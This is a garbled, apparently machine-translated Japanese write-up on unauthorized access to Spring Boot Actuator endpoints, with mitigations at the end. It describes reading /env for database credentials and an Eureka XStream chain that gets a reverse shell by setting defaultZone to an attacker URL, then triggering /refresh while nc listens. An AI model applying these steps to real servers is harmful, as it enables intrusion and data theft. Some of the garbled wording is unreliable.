この脆弱性は、あるソースにある古い穴を部署の上司が掘ってくれたので、面白そうだと思い、ローカル環境を立ててテストしてみました。
Actuator は、アプリケーション システムのイントロスペクションと監視のために Springboot によって提供される機能モジュールです。Actuator を利用することで、開発者はアプリケーション システムの特定の監視指標に関する統計を簡単に表示および収集できます。 Actuator が有効な場合、関連する権限が制御されていない場合、不正なユーザーがデフォルトの Actuator エンドポイントにアクセスすることでアプリケーション システムの監視情報を取得でき、情報漏洩やサーバー乗っ取りにつながる可能性があります。
Actuator は Spring Boot が提供する機能モジュールで、アプリケーション システムのイントロスペクションとモニタリングに使用できます。提供されるエグゼキューター エンドポイントは、ネイティブ エンドポイントとユーザー定義の拡張エンドポイントの 2 つのカテゴリに分類されます。ネイティブ エンドポイントには主に次のものが含まれます:
上記の 2 つの方法を組み合わせて、現在の Web アプリケーションが Springboot フレームワークであるかどうかを判断するには、さまざまなディレクトリにアクセスして、小さな緑色の葉のアイコンをクリックして、別のディレクトリにあるアプリケーションの 4xx または 5xx エラーをトリガーする方法を見つけて、ホワイトラベル エラー ページ エラーがあるかどうかを確認します。
脆弱性の悪用
/env エンドポイントにアクセスして、すべての環境属性を取得します。アクチュエータはサイト上の mysql や mangodb などのデータベース サービスを監視するため、mysql や mangodb のデータベース情報が取得される場合があります。監視情報を通じて取得されます。データベースがたまたまパブリック ネットワーク上で開かれていた場合、引き起こされる被害は甚大です。
/env エンドポイントは、RCE を引き起こすように不適切に構成されています。
前提条件: Eureka -Client
たとえば、フロントエンド JSON エラー レポートをテストしてパッケージ名を漏らす場合は、netflix を使用します
次の 2 つが必要です パッケージ
spring-boot-starter-actuator (/refresh リフレッシュ設定が必要です)
spring-cloud-starter-netflix -eureka-client (機能依存関係)
Use python3 スクリプトを開始するときは、2 つの場所に注意する必要があります。1 つはシェルを受信するための IP とポート、もう 1 つはスクリプトのポートです。まず、
Nc はポートをリッスンしてリバウンド シェルを受信します。
#設定を書き込み、 /env エンドポイント、パケットをキャプチャし、get リクエストを post リクエストに変更します。post コンテンツは次のとおりです (ip はスクリプトによって開始されたマシンの ip です) :
eureka.client.serviceUrl.defaultZone=http://10.1.1.135:2333/xstream
次に、/refresh にアクセスしてパケットをキャプチャし、get リクエストを変更します。投稿リクエストへ、投稿データは任意です。
# 次に、NC ウィンドウで、シェルが正常にバウンスバックされたことがわかります。
セキュリティ犬として、修正せずにただ掘ることはできません。プロジェクトの pom.xml の下に spring-boot を導入してください。 file -starter-security は
<dependency> <groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-security</artifactId> </dependency>
に依存します。次に、application.properties でセキュリティ機能を有効にし、アクセス アカウントのパスワードを設定し、アプリケーションを再起動するとポップアップが表示されます。
management.security.enabled=true security.user.name=admin security.user.password=admin
インターフェースを無効にするには、次のように設定できます (env インターフェースの無効化など):
endpoints.env.enabled = false
外国人は SQL ステートメントを実行できると言いましたが、実行できないことがわかりました。方法が間違っているのかもしれません。彼の写真のスクリーンショット。正常に実行できる人がそれを共有できることを願っています。
実際の環境では、リフレッシュが行われないことが多く、コマンドが実行できないことが確認されており、まだ打開策はありません。
以上がSpring Boot Actuator の getshell への不正アクセスの分析例の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。